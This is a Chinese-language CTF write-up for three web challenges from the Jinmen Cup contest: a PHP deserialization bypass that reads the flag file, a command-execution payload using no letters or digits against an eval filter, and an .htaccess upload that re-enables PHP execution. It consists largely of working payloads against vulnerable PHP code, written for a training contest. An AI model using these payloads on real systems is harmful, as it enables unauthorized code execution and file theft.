津门杯wp

津门杯wp

周末打了津门杯 解出两道web 因为要期中考试 只做了一小会
团队总共解出了六题 拿了个80名（捂脸

Power cut

扫一下目录发现 .index.php.swp 有源码

<?php
class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;

    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\n";
        $this->exitMsg="#--session end--#\n";
        $this->logFile =  $file;
        readfile($this->logFile);

    }

    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\n");
        fclose($fd);
    }

    function __destruct(){
        echo "this is destruct";
    }
}

class weblog {
    public $weblogfile;

    function __construct() {
        $flag="system('cat /flag')";
        echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }

}

$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);

?>

一道很简单的反序列化题目
想要利用readfile函数
双写绕过即可

O:6:"weblog":1:{s:10:"weblogfile";s:5:"/fflaglag";}

hate_php

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!'); 
    }
    eval($code);
}

一道无数字字母命令执行题目
参考P神文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

POST /?code=%3f><%3f%3d`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[:-[]`%3b%3f> HTTP/1.1

下面的题目是在 buu 复现的

uploadhub

额。。。看上去过滤了 。。 实际上没过滤
上传一个 一句话试试。。
结果没开php解析？

在config文件中找了一下 果然发现端倪

<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
        php_flag engine off
</Directory>

因为可以随意上传文件 所以要上传一个文件把php解析给打开

<file>标签的优先级高于<Directory>

<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
 php_flag engine on
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>